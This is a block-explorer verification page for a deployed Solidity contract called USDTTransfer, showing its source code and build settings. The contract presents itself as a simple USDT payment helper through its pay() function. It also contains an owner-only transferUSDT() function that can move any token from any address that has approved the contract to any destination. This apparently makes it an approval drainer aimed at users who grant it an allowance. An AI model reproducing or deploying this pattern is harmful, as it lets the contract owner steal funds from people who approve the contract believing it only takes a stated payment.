Verified contractPartialMIT
USDTTransfer
Address0xe3de38f37ae364dd7dceb4ecf0c6f09d2e4c887d
- Balance
0 ETH
- Transactions
93
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 22,753,944
- Creation transaction
- 0xaf9943d95c…9e717029a6
USDTTransfer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract USDTTransfer {
address public usdtToken;
address public owner;
address public recipient;
event Paid(address indexed from, address indexed to, uint256 amount);
constructor(address _usdtToken, address _recipient) {
usdtToken = _usdtToken;
owner = msg.sender;
recipient = _recipient;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized");
_;
}
function transferUSDT(address token, address from, address to, uint256 amount) external onlyOwner {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20(token).transferFrom.selector, from, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
}
// 用户授权后,调用此函数代他们转账
function pay(uint256 amount) external {
require(IERC20(usdtToken).allowance(msg.sender, address(this)) >= amount, "Not enough allowance");
(bool success, bytes memory data) = usdtToken.call(
abi.encodeWithSelector(IERC20(usdtToken).transferFrom.selector, msg.sender, recipient, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
emit Paid(msg.sender, recipient, amount);
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.